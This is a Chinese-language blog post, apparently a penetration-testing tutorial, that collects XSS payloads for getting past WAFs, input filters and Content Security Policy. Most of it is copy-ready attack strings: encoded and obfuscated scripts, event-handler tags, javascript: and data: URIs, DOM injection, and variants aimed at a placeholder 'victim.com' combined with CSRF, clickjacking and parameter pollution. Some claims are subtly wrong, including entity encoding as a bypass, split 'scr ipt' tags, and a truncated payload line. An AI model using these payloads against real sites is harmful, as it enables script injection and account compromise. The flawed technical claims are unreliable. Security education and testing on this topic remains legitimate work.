XSS 绕过实战:编码变形、标签混淆与 CSP/WAF 绕过全攻略

XSS 绕过实战:编码变形、标签混淆与 CSP/WAF 绕过全攻略

_

XSS 绕过过滤的思路

XSS(跨站脚本攻击) 测试和绕过过滤时,通常会遇到各种安全机制,如 WAF(Web应用防火墙)输入验证编码过滤等。以下是一些常见的绕过思路,帮助你在渗透测试时提高 XSS 攻击成功率。


1. 编码绕过

(1)URL 编码

部分 WAF 可能不会解码 URL 编码的输入,可以尝试 百分号编码

<script>alert(1)</script>  →  %3Cscript%3Ealert(1)%3C%2Fscript%3E

有时也可以使用 双重编码

<script>alert(1)</script>  →  %253Cscript%253Ealert(1)%253C%252Fscript%253E

(2)HTML 实体编码

使用 HTML 实体编码绕过过滤:

<script>alert(1)</script>  →  &lt;script&gt;alert(1)&lt;/script&gt;

(3)Base64 编码

如果目标应用允许 JavaScript 的 atob() 解码,可以绕过过滤:

<img src="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" />

2. 标签变形

部分 WAF 可能只拦截 script 标签,但可以利用其他支持 JavaScript 的标签,如:

<svg onload=alert(1)>
<math><a xlink:href="javascript:alert(1)">Click</a></math>
<iframe src="javascript:alert(1)"></iframe>
<body onload=alert(1)>

3. 事件触发绕过

如果 script 标签被拦截,可以尝试 HTML 事件触发 XSS

<input type="text" value="XSS" onfocus="alert(1)" autofocus>
<button onclick="alert(1)">Click me</button>
<div onmouseover="alert(1)">Hover me</div>

4. JavaScript 关键字混淆

一些 WAF 可能会拦截 alert(),但可以使用 JavaScript 关键字变形

<script>window </script>
<script>setTimeout('alert(1)',100)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

5. 绕过内容安全策略(CSP)

如果目标网站启用了 CSP(Content Security Policy),尝试:

  • JSONP 绕过:利用 script 标签加载外部 JSONP 资源
  • 内联事件处理onmouseover, onclick 等事件属性
  • 使用 eval(), setTimeout(), setInterval()
  • 利用 data:blob: 协议
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

6. DOM-based XSS 绕过

当 XSS 由 DOM 解析时,可以通过 document.write()innerHTML 等方法注入:

<script>document.write('<img src=x onerror=alert(1)>')</script>
<script>document.body.innerHTML += '<svg onload=alert(1)>'</script>

7. 逻辑绕过(BYPASS WAF)

如果目标网站对 XSS 进行了 严格的安全策略,可以利用:

  • Unicode 绕过(例如 \u0061\u006c\u0065\u0072\u0074(1)
  • 大小写绕过(如 ScRiPt
  • 空白符绕过<scr ipt>alert(1)</scr ipt>
  • 注释绕过<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>

8. 结合 CSRF 绕过

如果目标网站允许跨站请求,可能可以借助 CSRF(跨站请求伪造) 来执行 XSS:

<img src="http://victim.com/xss?payload=<script>alert(1)</script>">

9. 结合 Clickjacking 绕过

可以尝试使用 iframe + 透明层 诱骗用户点击:

<iframe src="http://victim.com" style="opacity:0; position:absolute; width:100%; height:100%"></iframe>

10. 结合 HTTP 参数污染绕过

有些网站会解析多次参数:

http://victim.com/search?q=<script>alert(1)</script>&q=<svg onload=alert(1)>

可能会导致 XSS 触发。


总结

XSS 绕过方法主要包括:

  • 编码绕过(URL 编码、HTML 实体编码)
  • 标签变形(使用 svg, math, iframe 等)
  • 事件触发onmouseover, onfocus 等)
  • 关键字混淆eval(), setTimeout() 变形)
  • DOM XSS 绕过document.write()
  • CSP 绕过(JSONP, data: 协议)
  • WAF 逻辑绕过(大小写、空白符、Unicode 等)
  • 结合 CSRF、Clickjacking

不同的网站会有不同的安全策略

Web 安全防御指南:CSP、HttpOnly 与 XSS Filter 深度解析 2026-01-09
跨域安全与 UI 补偿攻击:JSONP 数据劫持与点击劫持深度解析 2026-01-09

评论区